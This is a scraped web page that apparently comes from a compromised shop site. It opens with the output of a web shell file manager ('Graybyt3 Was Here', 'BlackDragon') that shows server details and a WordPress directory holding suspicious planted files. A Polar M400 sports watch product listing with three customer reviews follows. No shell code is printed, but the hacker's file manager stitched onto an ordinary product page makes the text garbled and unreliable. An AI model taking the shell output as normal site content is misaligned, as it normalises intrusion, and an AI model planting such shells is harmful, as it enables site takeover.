Graybyt3 Was Here

 Linux rebec 6.1.64 #1-NixOS SMP PREEMPT_DYNAMIC Tue Nov 28 17:07:23 UTC 2023 x86_64
 Apache/2.4.58 (Unix)
 127.0.0.1

*ReClick For Close
File : BlackDragon /index.php
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 1042/54 0755 2024-03-28 03:28:07
.well-known dir - 1042/54 0755 2021-09-28 03:24:00
5abc3 dir - 1042/54 0755 2024-03-26 12:40:46
doc dir - 1042/54 0755 2024-03-26 12:40:47
wp-admin dir - 1042/54 0755 2024-03-26 12:40:47
wp-content dir - 1042/54 0755 2024-03-28 08:38:00
wp-include dir - 1042/54 0755 2024-03-28 03:31:13
wp-includes dir - 1042/54 0755 2024-03-26 12:40:47
.htaccess text/plain 614 B 1042/54 0555 2021-12-31 03:28:07
Alyce text/plain 2.58 KB 1042/54 0644 2024-03-22 11:10:49
Linnie text/plain 389 B 1042/54 0644 2024-03-24 07:27:01
Ophelia text/plain 483 B 1042/54 0644 2024-03-25 10:01:48
Philip Braddockr text/plain 851 B 1042/54 0644 2024-03-27 11:42:23
ProdvigenieST text/plain 3.05 KB 1042/54 0644 2024-03-23 12:17:19
Robertvag text/plain 688 B 1042/54 0644 2024-03-23 04:50:32
Yanira text/plain 580 B 1042/54 0644 2024-03-23 07:55:56
admin.php text/x-php 18.79 KB 1042/54 0444 2022-02-02 12:40:47
defaults.php text/x-php 145.9 KB 1042/54 0444 2022-03-06 12:40:47
hsduih.php text/x-php 306 B 1042/54 0644 2024-03-25 05:43:47
index.php text/x-php 13.78 KB 1042/54 0444 2021-09-30 12:40:47
index.php0 text/x-php 3.78 KB 1042/54 0644 2022-01-13 12:40:46
install.php text/x-php 70.4 KB 1042/54 0444 2022-04-24 12:40:47
license.txt text/plain 19.45 KB 1042/54 0644 2023-11-28 02:22:04
php.ini text/plain 78 B 1042/54 0644 2024-03-20 11:39:04
randkeyword.php text/x-php 11.67 KB 1042/54 0644 2024-03-28 06:16:34
readme.html text/html 7.23 KB 1042/54 0644 2024-01-31 06:10:44
robots.txt text/plain 494 B 1042/54 0444 2021-09-16 12:40:47
ronaldEreby text/plain 1.04 KB 1042/54 0644 2024-03-26 10:20:03
shop.php text/x-php 9.97 KB 1042/54 0444 2022-08-19 12:40:47
wp-activate.php text/x-php 7.04 KB 1042/54 0644 2023-11-28 02:22:04
wp-blog-header.php text/x-php 351 B 1042/54 0644 2021-07-05 08:40:59
wp-comments-post.php text/x-php 2.27 KB 1042/54 0644 2023-11-28 02:22:04
wp-config-sample.php text/x-php 2.94 KB 1042/54 0644 2023-04-24 09:35:41
wp-config.php text/x-php 3.83 KB 1042/54 0400 2022-04-13 08:17:51
wp-cron.php text/x-php 5.51 KB 1042/54 0644 2023-11-28 02:22:04
wp-links-opml.php text/x-php 2.44 KB 1042/54 0644 2023-04-24 09:35:41
wp-load.php text/x-php 3.83 KB 1042/54 0644 2023-11-28 02:22:04
wp-login.php text/x-php 49.73 KB 1042/54 0644 2024-01-31 06:10:44
wp-mail.php text/x-php 8.33 KB 1042/54 0644 2023-11-28 02:22:04
wp-settings.php text/x-php 25.79 KB 1042/54 0644 2023-11-28 02:22:04
wp-signup.php text/x-php 33.58 KB 1042/54 0644 2023-11-28 02:22:03
wp-trackback.php text/x-php 4.77 KB 1042/54 0644 2023-11-28 02:22:03
xmlrpc.php text/x-php 3.08 KB 1042/54 0644 2023-11-28 02:22:03
zpanel-v2.0.zip text/plain 19.47 KB 1042/54 0444 2022-05-13 12:40:47
zvc-tabs6.zip text/plain 26.98 KB 1042/54 0444 2022-06-09 12:40:47
© BlackDragon
POLAR M400 Sports Watch with GPS and Heart Monitor – Fitness Technologies

POLAR M400 Sports Watch with GPS and Heart Monitor


Track your running stats on the streets and trails, with the Polar M400. Sporty design with advanced GPS and training features, along with loads of options to keep an eye on your activity.*Track pace, distance and altitude with the built-in GPS*Follow your 24/7 activity, calories and steps*Plan, sync and share your training with Polar Flow mobile app and web service*Set targets to beat your personal best*Find your way back home with Back to Start*Train at the right intensity within your personal heart rate zones (requires H7 heart rate sensor)Smart Coaching Features:*Fitness Test: Tells you exactly how your fitness is developing.*Running Index: Illustrates how your running performance is developing.*Training Benefit: Motivating feedback straight after exercise.*Smart Calories: Lets you know exactly how many calories you’ve burned.*Activity Guide: Helps you stay active all day long.*Activity Benefit: Gives feedback about your daily, weekly and monthly activity.What’s in the Box:*M400 training computer*Polar H7 heart rate sensor*USB cable*Polar M400 Getting Started Guide



Customer Reviews


1 of 1 people found the following review helpful
4.0 out of 5 stars
Happy with device and Internet web page for Polar Flow, March 21, 2015
Verified Purchase(What's this?)
Happy with device and Internet web page for Polar Flow. However, I have two issue of which I have reported one:
1. Sync using Bluetooth does not work consistently. I have to restart the sync multiple times to get the App and watch synced
2. I received my unit before 2/28 and when the date changed to 3/1 the watch read 3/29. I have reported this but no official response although I was sent an acknowledgement of received and a survey regarding the item I submitted.

0

Help other customers find the most helpful reviews 

Was this review helpful to you? Yes
No


1 of 1 people found the following review helpful
5.0 out of 5 stars
Five Stars, April 8, 2015
Verified Purchase(What's this?)
Great watch! battery lasts a long time, works well. Has a lot of great features. Very accurate.

0

Help other customers find the most helpful reviews 

Was this review helpful to you? Yes
No


1 of 1 people found the following review helpful
5.0 out of 5 stars
Five Stars, March 14, 2015
Verified Purchase(What's this?)
Good....enjoy of exercise

0

Help other customers find the most helpful reviews 

Was this review helpful to you? Yes
No

Share your thoughts with other customers:

 See all 3 customer reviews...



Fitness Technologies
Logo
Compare items
  • Total (0)
Compare
0
Shopping cart